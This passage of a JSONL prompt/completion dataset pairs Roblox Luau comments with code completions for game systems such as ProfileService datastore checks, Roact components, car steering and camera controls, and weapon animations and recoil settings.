access:\n\t\t\tDataStoreService:GetDataStore(\"____PS\"):SetAsync(\"____PS\", os.time())\n\t\tend)\n\t\tlocal no_internet_access = status == false and string.find(message, \"ConnectFail\", 1, true) ~= nil\n\t\tif no_internet_access == true then\n\t\t\twarn(\"[ProfileService]: No internet access - check your network connection\")\n\t\tend\n\t\tif status == false and\n\t\t\t(string.find(message, \"403\", 1, true) ~= nil or -- Cannot write to DataStore from studio if API access is not enabled\n\t\t\t\tstring.find(message, \"must publish\", 1, true) ~= nil or -- Game must be published to access live keys\n\t\t\t\tno_internet_access == true) then -- No internet access\n\n\t\t\tUseMockDataStore = true\n\t\t\tProfileService._use_mock_data_store = true\n\t\t\tprint(\"[ProfileService]: Roblox API services unavailable - data will not be saved\")\n\t\telse\n\t\t\tprint(\"[ProfileService]: Roblox API services available - data will be saved\")\n\t\tend\n\t\tIsLiveCheckActive = false\n\tend)\nend\n"} +{"prompt": "--[[\n\tCalling setState during certain lifecycle allowed methods has the potential\n\tto create an infinitely updating component. Rather than time out, we exit\n\twith an error if an unreasonable number of self-triggering updates occur\n]]", "completion": "\nlocal MAX_PENDING_UPDATES = 100\n\nlocal InternalData = Symbol.named(\"InternalData\")\n\nlocal componentMissingRenderMessage = [[\nThe component %q is missing the `render` method.\n`render` must be defined when creating a Roact component!]]\n\nlocal tooManyUpdatesMessage = [[\nThe component %q has reached the setState update recursion limit.\nWhen using `setState` in `didUpdate`, make sure that it won't repeat infinitely!]]\n\nlocal componentClassMetatable = {}\n\nfunction componentClassMetatable:__tostring()\n\treturn self.__componentName\nend\n\nlocal Component = {}\nsetmetatable(Component, componentClassMetatable)\n\nComponent[Type] = Type.StatefulComponentClass\nComponent.__index = Component\nComponent.__componentName = \"Component\"\n"} +{"prompt": "--[[Steering]]", "completion": "\n\n\tfunction Steering()\n\t\t--Mouse Steer\n\t\tif _MSteer then\n\t\t\tlocal msWidth = math.max(1,mouse.ViewSizeX*_Tune.Peripherals.MSteerWidth/200)\n\t\t\tlocal mdZone = _Tune.Peripherals.MSteerDZone/100\n\t\t\tlocal mST = ((mouse.X-mouse.ViewSizeX/2)/msWidth)\n\t\t\tif math.abs(mST)<=mdZone then\n\t\t\t\t_GSteerT = 0\n\t\t\telse\n\t\t\t\t_GSteerT = (math.max(math.min((math.abs(mST)-mdZone),(1-mdZone)),0)/(1-mdZone))^_Tune.MSteerExp * (mST / math.abs(mST))\n\t\t\tend\n\t\tend\n\t\t\n\t\t--Interpolate Steering\n\t\tif _GSteerC < _GSteerT then\n\t\t\tif _GSteerC<0 then\n\t\t\t\t_GSteerC = math.min(_GSteerT,_GSteerC+_Tune.ReturnSpeed)\n\t\t\telse\n\t\t\t\t_GSteerC = math.min(_GSteerT,_GSteerC+_Tune.SteerSpeed)\n\t\t\tend\n\t\telse\n\t\t\tif _GSteerC>0 then\n\t\t\t\t_GSteerC = math.max(_GSteerT,_GSteerC-_Tune.ReturnSpeed)\n\t\t\telse\n\t\t\t\t_GSteerC = math.max(_GSteerT,_GSteerC-_Tune.SteerSpeed)\n\t\t\tend\n\t\tend\n\t\t\n\t\t--Steer Decay Multiplier\n\t\tlocal sDecay = (1-math.min(car.DriveSeat.Velocity.Magnitude/_Tune.SteerDecay,1-(_Tune.MinSteer/100)))\n\t\t\n\t\t--Apply Steering\n\t\tfor i,v in pairs(car.Wheels:GetChildren()) do\n\t\t\tif v.Name==\"F\" then\n\t\t\t\tv.Arm.Steer.CFrame=car.Wheels.F.Base.CFrame*CFrame.Angles(0,-math.rad(_GSteerC*_Tune.SteerInner*sDecay),0)\n\t\t\telseif v.Name==\"FL\" then\n\t\t\t\tif _GSteerC>= 0 then\n\t\t\t\t\tv.Arm.Steer.CFrame=car.Wheels.FL.Base.CFrame*CFrame.Angles(0,-math.rad(_GSteerC*_Tune.SteerOuter*sDecay),0)\n\t\t\t\telse\n\t\t\t\t\tv.Arm.Steer.CFrame=car.Wheels.FL.Base.CFrame*CFrame.Angles(0,-math.rad(_GSteerC*_Tune.SteerInner*sDecay),0)\n\t\t\t\tend\n\t\t\telseif v.Name==\"FR\" then\n\t\t\t\tif _GSteerC>= 0 then\n\t\t\t\t\tv.Arm.Steer.CFrame=car.Wheels.FR.Base.CFrame*CFrame.Angles(0,-math.rad(_GSteerC*_Tune.SteerInner*sDecay),0)\n\t\t\t\telse\n\t\t\t\t\tv.Arm.Steer.CFrame=car.Wheels.FR.Base.CFrame*CFrame.Angles(0,-math.rad(_GSteerC*_Tune.SteerOuter*sDecay),0)\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend\n\n\n"} +{"prompt": "-- // Variables \\\\ --", "completion": "\nlocal Signal = require(script.Parent.Parent.Signal)\n"} +{"prompt": "--[[**\n\tensures value is an integer\n\n\t@param value The value to check against\n\n\t@returns True iff the condition is satisfied, false otherwise\n**--]]", "completion": "\nfunction t.integer(value)\n\tlocal success, errMsg = t.number(value)\n\tif not success then\n\t\treturn false, errMsg or \"\"\n\tend\n\tif value%1 == 0 then\n\t\treturn true\n\telse\n\t\treturn false, string.format(\"integer expected, got %s\", value)\n\tend\nend\n"} +{"prompt": "-- Adds numParts more parts to the cache.", "completion": "\nfunction PartCacheStatic:Expand(numParts: number): ()\n\tassert(getmetatable(self) == PartCacheStatic, ERR_NOT_INSTANCE:format(\"Expand\", \"PartCache.new\"))\n\tif numParts == nil then\n\t\tnumParts = self.ExpansionSize\n\tend\n\t\n\tfor i = 1, numParts do\n\t\ttable.insert(self.Open, MakeFromTemplate(self.Template, self.CurrentCacheParent))\n\tend\nend\n"} +{"prompt": "--// Animations", "completion": "\n\t\n\t-- Idle Anim\n\tIdleAnim = function(char, speed, objs)\n\t\tTweenJoint(objs[2], nil , CFrame.new(-0.902175903, 0.295501232, -1.32277012, 1, 0, 0, 0, 1.19248806e-08, 1, 0, -1, 1.19248806e-08), function(X) return math.sin(math.rad(X)) end, 0.25)\n\t\tTweenJoint(objs[3], nil , CFrame.new(1.06851184, 0.973718464, -2.29667926, 0.787567914, -0.220087856, 0.575584888, -0.615963876, -0.308488727, 0.724860668, 0.0180283934, -0.925416589, -0.378522098), function(X) return math.sin(math.rad(X)) end, 0.25)\n\t\twait(0.18)\t\n\tend;\n\t\n\t-- FireMode Anim\n\tFireModeAnim = function(char, speed, objs)\n\t\tTweenJoint(objs[1], nil , CFrame.new(0.340285569, 0, -0.0787199363, 0.962304771, 0.271973342, 0, -0.261981696, 0.926952124, -0.268561482, -0.0730415657, 0.258437991, 0.963262498), function(X) return math.sin(math.rad(X)) end, 0.25)\n\t\twait(0.1)\n\t\tTweenJoint(objs[2], nil , CFrame.new(0.67163527, -0.310947895, -1.34432662, 0.766044378, -2.80971371e-008, 0.642787576, -0.620885074, -0.258818865, 0.739942133, 0.166365519, -0.965925872, -0.198266774), function(X) return math.sin(math.rad(X)) end, 0.25)\n\t\twait(0.25)\n\t\tobjs[4]:WaitForChild(\"Click\"):Play()\t\t\n\tend;\n\t\n\t-- Reload Anim\n\tReloadAnim = function(char, speed, objs)\n\t\tTweenJoint(objs[2], nil , CFrame.new(-0.630900264, 0.317047596, -1.27966166, 0.985866964, -0.167529628, -7.32295247e-09, 0, -4.37113883e-08, 1, -0.167529613, -0.985867023, -4.30936176e-08), function(X) return math.sin(math.rad(X)) end, 0.5)\n\t\tTweenJoint(objs[3], nil , CFrame.new(0.436954767, 0.654289246, -1.82817471, 0.894326091, -0.267454475, 0.358676374, -0.413143814, -0.185948789, 0.891479254, -0.171734676, -0.945458114, -0.276796043), function(X) return math.sin(math.rad(X)) end, 0.5)\n\t\twait(0.5)\t\t\n\t\t\n\t\tlocal MagC = Tool:WaitForChild(\"Mag\"):clone()\n\t\tMagC:FindFirstChild(\"Mag\"):Destroy()\n\t\tMagC.Parent = Tool\n\t\tMagC.Name = \"MagC\"\n\t\tlocal MagCW = Instance.new(\"Motor6D\")\n\t\tMagCW.Part0 = MagC\n\t\tMagCW.Part1 = workspace.CurrentCamera:WaitForChild(\"Arms\"):WaitForChild(\"Left Arm\")\n\t\tMagCW.Parent = MagC\n\t\tMagCW.C1 = MagC.CFrame:toObjectSpace(objs[4].CFrame)\n\t\tobjs[4].Transparency = 1\n\t\t\n\t\tobjs[6]:WaitForChild(\"MagOut\"):Play()\t\t\n\t\t\n\t\tTweenJoint(objs[3], nil , CFrame.new(0.436954767, 0.654289246, -3.00337243, 0.894326091, -0.267454475, 0.358676374, -0.413143814, -0.185948789, 0.891479254, -0.171734676, -0.945458114, -0.276796043), function(X) return math.sin(math.rad(X)) end, 0.3)\n\t\tTweenJoint(objs[2], nil , CFrame.new(-0.630900264, 0.317047596, -1.27966166, 0.985866964, -0.167529628, -7.32295247e-09, 0.0120280236, 0.0707816631, 0.997419298, -0.16709727, -0.983322799, 0.0717963576), function(X) return math.sin(math.rad(X)) end, 0.1)\n\t\twait(0.1)\n\t\tTweenJoint(objs[2], nil , CFrame.new(-1.11434817, 0.317047596, -0.672240019, 0.658346057, -0.747599542, -0.0876094475, 0.0672011375, -0.0575498641, 0.996078312, -0.749709547, -0.661651671, 0.0123518109), function(X) return math.sin(math.rad(X)) end, 0.3)\n\t\twait(0.3)\n\t\tobjs[6]:WaitForChild('MagIn'):Play()\n\t\tTweenJoint(objs[3], nil , CFrame.new(-0.273085892, 0.654289246, -1.48434556, 0.613444746, -0.780330896, 0.121527649, -0.413143814, -0.185948789, 0.891479254, -0.673050761, -0.597081661, -0.43645826), function(X) return math.sin(math.rad(X)) end, 0.3)\n\t\twait(0.4)\n\t\tMagC:Destroy()\n\t\tobjs[4].Transparency = 0\n\tend;\n\n\t-- Bolt Anim\n\t\tBoltBackAnim = function(char, speed, objs)\n\t\t\tTweenJoint(objs[3], nil , CFrame.new(-0.723402083, 0.561492503, -1.32277012, 0.98480773, 0.173648179, -2.07073381e-09, 0, 1.19248806e-08, 1, 0.173648179, -0.98480773, 1.17437144e-08), function(X) return math.sin(math.rad(X)) end, 0.25)\n\t\t\twait(0.1)\n\t\t\tTweenJoint(objs[2], nil , CFrame.new(-0.674199283, -0.379443169, -1.24877262, 0.098731339, -0.973386228, -0.206811741, -0.90958333, -0.172570169, 0.377991527, -0.403621316, 0.150792867, -0.902414143), function(X) return math.sin(math.rad(X)) end, 0.25)\n\t\t\twait(0.4)\n\t\t\tobjs[5]:WaitForChild(\"BoltBack\"):Play()\n\t\t\tTweenJoint(objs[2], nil , CFrame.new(-0.674199283, -0.578711689, -0.798391461, 0.098731339, -0.973386228, -0.206811741, -0.90958333, -0.172570169, 0.377991527, -0.403621316, 0.150792867, -0.902414143), function(X) return math.sin(math.rad(X)) end, 0.25)\n\t\t\tTweenJoint(objs[1], nil , CFrame.new(0, 0, 0.273770154, 1, 0, 0, 0, 1, 0, 0, 0, 1), function(X) return math.sin(math.rad(X)) end, 0.25)\n\t\t\tTweenJoint(objs[3], nil , CFrame.new(-0.723402083, 0.311225414, -1.32277012, 0.98480773, 0.173648179, -2.07073381e-09, 0.0128111057, -0.0726553723, 0.997274816, 0.173174962, -0.982123971, -0.0737762004), function(X) return math.sin(math.rad(X)) end, 0.25)\n\t\t\twait(0.3)\n\t\tend;\n\t\t\n\t\tBoltForwardAnim = function(char, speed, objs)\n\t\t\tobjs[5]:WaitForChild(\"BoltForward\"):Play()\n\t\t\tTweenJoint(objs[1], nil , CFrame.new(), function(X) return math.sin(math.rad(X)) end, 0.1)\n\t\t\tTweenJoint(objs[2], nil , CFrame.new(-0.674199283, -1.50949407, -0.798391461, 0.098731339, -0.973386228, -0.206811741, -0.90958333, -0.172570169, 0.377991527, -0.403621316, 0.150792867, -0.902414143), function(X) return math.sin(math.rad(X)) end, 0.1)\n\t\t\tTweenJoint(objs[3], nil , CFrame.new(-0.723402083, 0.653734565, -1.32277012, 0.98480773, 0.173648179, -2.07073381e-09, -0.00113785546, 0.00645311177, 0.999978542, 0.173644453, -0.98478663, 0.00655265898), function(X) return math.sin(math.rad(X)) end, 0.2)\n\t\t\twait(0.2)\n\t\tend;\n\t\t\n\t\t-- Bolting Back\n\t\tBoltingBackAnim = function(char, speed, objs)\n\t\t\tTweenJoint(objs[1], nil , CFrame.new(0, 0, 0.273770154, 1, 0, 0, 0, 1, 0, 0, 0, 1), function(X) return math.sin(math.rad(X)) end, 0.1)\n\t\tend;\n\t\t\n\t\tBoltingForwardAnim = function(char, speed, objs)\n\t\t\tTweenJoint(objs[1], nil , CFrame.new(), function(X) return math.sin(math.rad(X)) end, 0.1)\n\t\tend;\n\t\t\n\t\tInspectAnim = function(char, speed, objs)\n\t\t\tts:Create(objs[1],TweenInfo.new(1),{C1 = CFrame.new(0.805950999, 0.654529691, -1.92835355, 0.999723792, 0.0109803826, 0.0207702816, -0.0223077796, 0.721017241, 0.692557871, -0.00737112388, -0.692829967, 0.721063137)}):Play()\n\t\t\tts:Create(objs[2],TweenInfo.new(1),{C1 = CFrame.new(-1.49363565, -0.699174881, -1.32277012, 0.66716975, -8.8829113e-09, -0.74490571, 0.651565909, -0.484672248, 0.5835706, -0.361035138, -0.874695837, -0.323358655)}):Play()\n\t\t\twait(1)\n\t\t\tts:Create(objs[2],TweenInfo.new(1),{C1 = CFrame.new(1.37424219, -0.699174881, -1.03685927, -0.204235911, 0.62879771, 0.750267386, 0.65156585, -0.484672219, 0.58357054, 0.730581641, 0.60803473, -0.310715646)}):Play()\n\t\t\twait(1)\n\t\t\tts:Create(objs[2],TweenInfo.new(1),{C1 = CFrame.new(-0.902175903, 0.295501232, -1.32277012, 0.935064793, -0.354476899, 4.22709467e-09, -0.110443868, -0.291336805, 0.950223684, -0.336832345, -0.888520718, -0.311568588)}):Play()\n\t\t\tts:Create(objs[1],TweenInfo.new(1),{C1 = CFrame.new(0.447846293, 0.654529572, -1.81345785, 0.761665463, -0.514432132, 0.393986136, -0.560285628, -0.217437655, 0.799250066, -0.325492471, -0.82950604, -0.453843832)}):Play()\n\t\t\twait(1)\n\t\t\tlocal MagC = Tool:WaitForChild(\"Mag\"):clone()\n\t\t\tMagC:FindFirstChild(\"Mag\"):Destroy()\n\t\t\tMagC.Parent = Tool\n\t\t\tMagC.Name = \"MagC\"\n\t\t\tlocal MagCW = Instance.new(\"Motor6D\")\n\t\t\tMagCW.Part0 = MagC\n\t\t\tMagCW.Part1 = workspace.CurrentCamera:WaitForChild(\"Arms\"):WaitForChild(\"Left Arm\")\n\t\t\tMagCW.Parent = MagC\n\t\t\tMagCW.C1 = MagC.CFrame:toObjectSpace(Tool:WaitForChild('Mag').CFrame)\n\t\t\tTool.Mag.Transparency = 1\n\t\t\tTool:WaitForChild('Grip'):WaitForChild(\"MagOut\"):Play()\n\t\t\t\n\t\t\tts:Create(objs[2],TweenInfo.new(0.15),{C1 = CFrame.new(-0.902175903, 0.295501232, -1.55972552, 0.935064793, -0.354476899, 4.22709467e-09, -0.110443868, -0.291336805, 0.950223684, -0.336832345, -0.888520718, -0.311568588)}):Play()\n\t\t\tts:Create(objs[1],TweenInfo.new(0.3),{C1 = CFrame.new(0.447846293, 0.654529572, -2.9755671, 0.761665463, -0.514432132, 0.393986136, -0.568886042, -0.239798605, 0.786679745, -0.31021595, -0.823320091, -0.475299776)}):Play()\n\t\t\twait(0.13)\n\t\t\tts:Create(objs[2],TweenInfo.new(0.20),{C1 = CFrame.new(-0.902175903, 0.295501232, -1.28149843, 0.935064793, -0.354476899, 4.22709467e-09, -0.110443868, -0.291336805, 0.950223684, -0.336832345, -0.888520718, -0.311568588)}):Play()\n\t\t\twait(0.20)\t\t\t\n\t\t\tts:Create(objs[1],TweenInfo.new(0.5),{C1 = CFrame.new(0.447846293, -0.650498748, -1.82401526, 0.761665463, -0.514432132, 0.393986136, -0.646156013, -0.55753684, 0.521185875, -0.0484529883, -0.651545882, -0.75706023)}):Play()\n\t\t\twait(0.8)\n\t\t\tts:Create(objs[1],TweenInfo.new(0.6),{C1 = CFrame.new(0.447846293, 0.654529572, -2.9755671, 0.761665463, -0.514432132, 0.393986136, -0.568886042, -0.239798605, 0.786679745, -0.31021595, -0.823320091, -0.475299776)}):Play()\n\t\t\twait(0.5)\n\t\t\tTool:WaitForChild('Grip'):WaitForChild(\"MagIn\"):Play()\n\t\t\tts:Create(objs[1],TweenInfo.new(0.3),{C1 = CFrame.new(0.447846293, 0.654529572, -1.81345785, 0.761665463, -0.514432132, 0.393986136, -0.560285628, -0.217437655, 0.799250066, -0.325492471, -0.82950604, -0.453843832)}):Play()\t\t\t\n\t\t\twait(0.3)\n\t\t\tMagC:Destroy()\n\t\t\tTool.Mag.Transparency = 0\n\t\t\twait(0.1)\n\t\tend;\n\t\t\n\t\tnadeReload = function(char, speed, objs)\n\t\t\tts:Create(objs[1], TweenInfo.new(0.6), {C1 = CFrame.new(-0.902175903, -1.15645337, -1.32277012, 0.984807789, -0.163175702, -0.0593911409, 0, -0.342020363, 0.939692557, -0.17364797, -0.925416529, -0.336824328)}):Play()\n\t\t\tts:Create(objs[2], TweenInfo.new(0.6), {C1 = CFrame.new(0.805950999, 0.654529691, -1.92835355, 0.787567914, -0.220087856, 0.575584888, -0.323594928, 0.647189975, 0.690240026, -0.524426222, -0.72986728, 0.438486755)}):Play()\n\t\t\twait(0.6)\n\t\t\tts:Create(objs[2], TweenInfo.new(0.6), {C1 = CFrame.new(0.805950999, 0.559619546, -1.73060048, 0.802135408, -0.348581612, 0.484839559, -0.597102284, -0.477574915, 0.644508123, 0.00688350201, -0.806481719, -0.59121877)}):Play()\n\t\t\twait(0.6)\t\t\n\t\tend;\n\t\t\n\t\tAttachAnim = function(char, speed, objs)\n\t\t\tTweenJoint(objs[1], nil , CFrame.new(-2.05413628, -0.386312962, -0.955676377, 0.5, 0, -0.866025329, 0.852868497, -0.17364797, 0.492403895, -0.150383547, -0.984807789, -0.086823985), function(X) return math.sin(math.rad(X)) end, 0.25)\n\t\t\tTweenJoint(objs[2], nil , CFrame.new(0.931334019, 1.66565645, -1.2231313, 0.787567914, -0.220087856, 0.575584888, -0.0180282295, 0.925416708, 0.378521889, -0.615963817, -0.308488399, 0.724860728), function(X) return math.sin(math.rad(X)) end, 0.25)\n\t\t\twait(0.18)\t\n\t\tend;\n\t\n\t}\n\nreturn Settings\n"} +{"prompt": "--!strict", "completion": "\nlocal isSubset = require(script.Parent.isSubset)\n"} +{"prompt": "--[[ FOOD BUTTON LOCALS ]]", "completion": "--\n\nlocal SaladButton = FoodFrame.Salad\nlocal SandButton = FoodFrame.Sand\n"} +{"prompt": "-------------------------", "completion": "\n \nmouse.KeyDown:connect(function (key)\n key = string.lower(key)\n\t\tif key == \"k\" then --Camera controls\n\t if cam == (\"car\") then\n\t\t\t\tCamera.CameraSubject = player.Character.Humanoid\n\t\t\t\tCamera.CameraType = (\"Custom\")\n\t\t\t\tcam = (\"freeplr\")\n\t\t\t\tCamera.FieldOfView = 70\n\t\t\telseif cam == (\"freeplr\") then\n\t\t\t\tCamera.CameraSubject = player.Character.Humanoid\n\t\t\t\tCamera.CameraType = (\"Attach\")\n\t\t\t\tcam = (\"lockplr\")\n\t\t\t\tCamera.FieldOfView = 45\n\t elseif cam == (\"lockplr\") then\n\t\t\t\tCamera.CameraSubject = carSeat\n\t\t\t\tCamera.CameraType = (\"Custom\")\n\t\t\t\tcam = (\"car\")\n\t\t\t\tCamera.FieldOfView = 70\n\t end\n\t\telseif key == \"[\" then -- volume down\n\t\t\tif carSeat.Parent.Body.MP.Sound.Volume >= 0 then\n\t\t\t\thandler:FireServer('volumedown', true)\n\t\t\t\tcarSeat.Parent.Body.Dash.Screen.G.Main.Icon.Vol.Text = (\"Vol: \"..carSeat.Parent.Body.MP.Sound.Volume)\n\t\t\tend\n\t\telseif key == \"]\" then -- volume up\n\t\t\tif carSeat.Parent.Body.MP.Sound.Volume <= 10 then\n\t\t\t\thandler:FireServer('volumeup', true)\n\t\t\t\tcarSeat.Parent.Body.Dash.Screen.G.Main.Icon.Vol.Text = (\"Vol: \"..carSeat.Parent.Body.MP.Sound.Volume)\n\t\t\tend\t\n\t\telseif key == \"j\" then -- info\n\t\t\tif scr == false then\n\t\t\t\tscr = true\n\t\t\t\tscript.Parent.Infotainment:TweenPosition(UDim2.new(0.7, 0, 0.3, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,.6,true)\n\t\t\telse scr = false\n\t\t\t\tscript.Parent.Infotainment:TweenPosition(UDim2.new(1, 0, 0.3, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,.6,true)\n\t\t\tend\n\tend\nend)\n\nHUB2.Limiter.MouseButton1Click:connect(function() --Ignition\n\t if carSeat.IsOn.Value == false then\n\t\tcarSeat.IsOn.Value = true\n\t\tcarSeat.Startup:Play()\n\t\twait(1)\n\t\tcarSeat.Chime:Play()\n\telse\n\t\tcarSeat.IsOn.Value = false\n\tend\nend)\n\nHUB.Eco.MouseButton1Click:connect(function() --Hide tracker names\n\thandler:FireServer('Eco')\nend)\n\nHUB.Comfort.MouseButton1Click:connect(function() --Hide tracker names\n\thandler:FireServer('Comfort')\nend)\n\nHUB.Sport.MouseButton1Click:connect(function() --Hide tracker names\n\thandler:FireServer('Sport')\nend)\n\nwinfob.mg.Play.MouseButton1Click:connect(function() --Play the next song\n\thandler:FireServer('updateSong', winfob.mg.Input.Text)\n\tcarSeat.Parent.Body.Dash.Screen.G.Main.Icon.ID.Text = (winfob.mg.Input.Text)\nend)\n\nwinfob.mg.Stop.MouseButton1Click:connect(function() --Play the next song\n\thandler:FireServer('pauseSong')\n\tcarSeat.Parent.Body.Dash.Screen.G.Main.Icon.ID.Text = \"\"\nend)\n\ncarSeat.Indicator.Changed:connect(function()\n\tif carSeat.Indicator.Value == true then\n\t\tscript.Parent.Indicator:Play()\n\telse\n\t\tscript.Parent.Indicator2:Play()\n\tend\nend)\n\ngame.Lighting.Changed:connect(function(prop)\n\tif prop == \"TimeOfDay\" then\n\thandler:FireServer('TimeUpdate')\n\tend\nend)\n\nif game.Workspace.FilteringEnabled == true then\n\thandler:FireServer('feON')\nelseif game.Workspace.FilteringEnabled == false then\n\thandler:FireServer('feOFF')\nend\n\ncarSeat.LI.Changed:connect(function()\n\tif carSeat.LI.Value == true then\n\t\tcarSeat.Parent.Body.Dash.D.G.Info.Left.Visible = true\n\t\tscript.Parent.HUB.Left.Visible = true\n\telse\n\t\tcarSeat.Parent.Body.Dash.D.G.Info.Left.Visible = false\n\t\tscript.Parent.HUB.Left.Visible = false\n\tend\nend)\n\ncarSeat.RI.Changed:connect(function()\n\tif carSeat.RI.Value == true then\n\t\tcarSeat.Parent.Body.Dash.D.G.Info.Right.Visible = true\n\t\tscript.Parent.HUB.Right.Visible = true\n\telse\n\t\tcarSeat.Parent.Body.Dash.D.G.Info.Right.Visible = false\n\t\tscript.Parent.HUB.Right.Visible = false\n\tend\nend)\n\nfor i,v in pairs(script.Parent:getChildren()) do\n\tif v:IsA('ImageButton') then\n\t\tv.MouseButton1Click:connect(function()\n\t\t\tif carSeat.Windows:FindFirstChild(v.Name) then\n\t\t\t\tlocal v = carSeat.Windows:FindFirstChild(v.Name)\n\t\t\t\tif v.Value == true then\n\t\t\t\t\thandler:FireServer('updateWindows', v.Name, false)\n\t\t\t\telse\n\t\t\t\t\thandler:FireServer('updateWindows', v.Name, true)\n\t\t\t\tend\n\t\t\tend\n\t\tend)\n\tend\nend\n\n\nwhile wait() do\n\tcarSeat.Parent.Body.Dash.D.G.Info.Time.Text = game.Lighting.TimeOfDay\n\tscript.Parent.Infotainment.Main.Time.Text = game.Lighting.TimeOfDay\n\tcarSeat.Parent.Body.Dash.D.G.Info.Speed.Text = math.floor(carSeat.Velocity.magnitude*((10/12) * (60/88)))\nend\n"} +{"prompt": "----------------------------------------------------------------------------------------------------\n-----------------=[ RECOIL & PRECISAO ]=------------------------------------------------------------\n----------------------------------------------------------------------------------------------------", "completion": "\n\t,VRecoil = {12,16}\t\t\t\t--- Vertical Recoil\n\t,HRecoil = {9,14}\t\t\t\t--- Horizontal Recoil\n\t,AimRecover = .75\t\t\t\t---- Between 0 & 1\n\t\n\t,RecoilPunch = .15\n\t,VPunchBase = 3.25\t\t\t\t--- Vertical Punch\n\t,HPunchBase = 2.85\t\t\t\t--- Horizontal Punch\n\t,DPunchBase = 1 \t\t\t\t--- Tilt Punch | useless\n\t\n\t,AimRecoilReduction = 5 \t\t--- Recoil Reduction Factor While Aiming (Do not set to 0)\n\t,PunchRecover = 0.2\n\t,MinRecoilPower = .25\n\t,MaxRecoilPower = 3\n\t,RecoilPowerStepAmount = .25\n\t\n\t,MinSpread = 1.95\t\t\t\t--- Min bullet spread value | Studs\n\t,MaxSpread = 47\t\t\t\t\t--- Max bullet spread value | Studs\n\t,AimInaccuracyStepAmount = 1.25\n\t,WalkMultiplier = 0\t\t\t\t--- Bullet spread based on player speed\n\n\t,SwayBase = 0.25\t\t\t\t--- Weapon Base Sway | Studs\n\t,MaxSway =\t1.5\t\t\t\t\t--- Max sway value based on player stamina | Studs"} +{"prompt": "----- Utils -----", "completion": "\n\nlocal function DeepCopyTable(t)\n\tlocal copy = {}\n\tfor key, value in pairs(t) do\n\t\tif type(value) == \"table\" then\n\t\t\tcopy[key] = DeepCopyTable(value)\n\t\telse\n\t\t\tcopy[key] = value\n\t\tend\n\tend\n\treturn copy\nend\n\nlocal function ReconcileTable(target, template)\n\tfor k, v in pairs(template) do\n\t\tif type(k) == \"string\" then -- Only string keys will be reconciled\n\t\t\tif target[k] == nil then\n\t\t\t\tif type(v) == \"table\" then\n\t\t\t\t\ttarget[k] = DeepCopyTable(v)\n\t\t\t\telse\n\t\t\t\t\ttarget[k] = v\n\t\t\t\tend\n\t\t\telseif type(target[k]) == \"table\" and type(v) == \"table\" then\n\t\t\t\tReconcileTable(target[k], v)\n\t\t\tend\n\t\tend\n\tend\nend\n"} +{"prompt": "----------------------------------------------------------------------------------------------------\n--------------------=[ CFRAME ]=--------------------------------------------------------------------\n----------------------------------------------------------------------------------------------------", "completion": "\n\t,EnableHolster = false\n\t,HolsterTo = 'Right Leg'\t\t\t\t -- Put the name of the body part you wanna holster to\n\t,HolsterPos = CFrame.new(0.65,0.7,0.2) * CFrame.Angles(math.rad(-88),math.rad(0),math.rad(0))\n\t\n\t,RightArmPos = CFrame.new(-0.575, 0.65, -1.185) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(0))\t--Server\n\t,LeftArmPos = CFrame.new(1.15,-0.1,-1.65) * CFrame.Angles(math.rad(-120),math.rad(20),math.rad(-25))\t--server\n\n\t,ServerGunPos = CFrame.new(-.3, -1, -0.4) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(0))\n\t,GunPos = CFrame.new(0.15, -0.15, 1) * CFrame.Angles(math.rad(90), math.rad(0), math.rad(0))\n\n\t,RightPos = CFrame.new(-0.4, 0.65, -1) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(0))\t--Client\n\t,LeftPos = CFrame.new(.85,-0.15,-1.55) * CFrame.Angles(math.rad(-120),math.rad(20),math.rad(-25))\t--Client\n}\n\nreturn Config\n\n"} +{"prompt": "-- FIXME: These should be surfaced to top-level APIs", "completion": "\nlocal WeaponsClient = require(ReplicatedFirst.Packages.Chickynoid.Client.WeaponsClient)\nlocal EffectsModule = require(ReplicatedFirst.Packages.Chickynoid.Client.Effects)\n\nfunction module:Setup(_client) end\n\nfunction module:TerminateBullet(bulletId)\n\n local record = self.bullets[bulletId]\n if (record) then\n if (record.part) then\n record.part:Destroy()\n end \n self.bullets[bulletId] = nil \n end\nend\n\nfunction module:FireBullet(origin, vec, speed, maxDistance, drop, bulletId)\n\n if (bulletId == -1) then\n bulletId = self.bulletId \n self.bulletId -= 1\n end\n --add the projectile\n local bulletRecord = {}\n \n bulletRecord.position = origin\n bulletRecord.vec = vec\n \n bulletRecord.speed = speed\n bulletRecord.maxDist = maxDistance\n bulletRecord.drop = drop\n bulletRecord.travel = 0\n \n\n module.bullets[bulletId] = bulletRecord\n \n return bulletRecord\nend\n\n\nfunction module:Step(_client, deltaTime) \n\n for key, bulletRecord in pairs(self.bullets) do\n --visual!\n if (bulletRecord.part == nil) then\n \n bulletRecord.part = Instance.new(\"Part\")\n bulletRecord.part.Anchored = true\n bulletRecord.part.CanCollide = false\n bulletRecord.part.CanTouch = false\n bulletRecord.part.CanQuery = false\n bulletRecord.part.Size = Vector3.new(0.2,0.2,0.2)\n bulletRecord.part.Shape = Enum.PartType.Ball\n bulletRecord.part.Material = Enum.Material.Neon\n bulletRecord.part.Color = Color3.new(1,1,1)\n bulletRecord.part.Parent = game.Workspace\n end\n \n local lastPos = bulletRecord.position\n\n bulletRecord.vec += Vector3.new(0, bulletRecord.drop * deltaTime, 0)\n local add = bulletRecord.vec * bulletRecord.speed * deltaTime\n bulletRecord.position += add\n bulletRecord.travel += add.Magnitude\n \n\n if (bulletRecord.DoCollisionCheck) then\n local res = bulletRecord.DoCollisionCheck(bulletRecord, lastPos, bulletRecord.position)\n if (res ~= nil) then\n bulletRecord.die = true\n end\n end\n\n bulletRecord.part.Position = bulletRecord.position\n\n if (bulletRecord.travel > bulletRecord.maxDist) then\n --kill locally\n bulletRecord.die = true\n end\n\n if (bulletRecord.die == true) then\n bulletRecord.part:Destroy()\n self.bullets[key] = nil\n end\n end\nend\n\nreturn module\n"} +{"prompt": "-- luaX.tokens (was luaX_tokens) is now a hash; see luaX:init", "completion": "\n\nluaX.MAXSRC = 80\nluaX.MAX_INT = 2147483645 -- constants from elsewhere (see above)\nluaX.LUA_QS = \"'%s'\"\nluaX.LUA_COMPAT_LSTR = 1"} +{"prompt": "---------------------------------------------------", "completion": "\n\nThis = script.Parent\nElevator = This.Parent.Parent.Parent\n\nElevator:WaitForChild(\"Direction\").Changed:connect(function(val)\n if 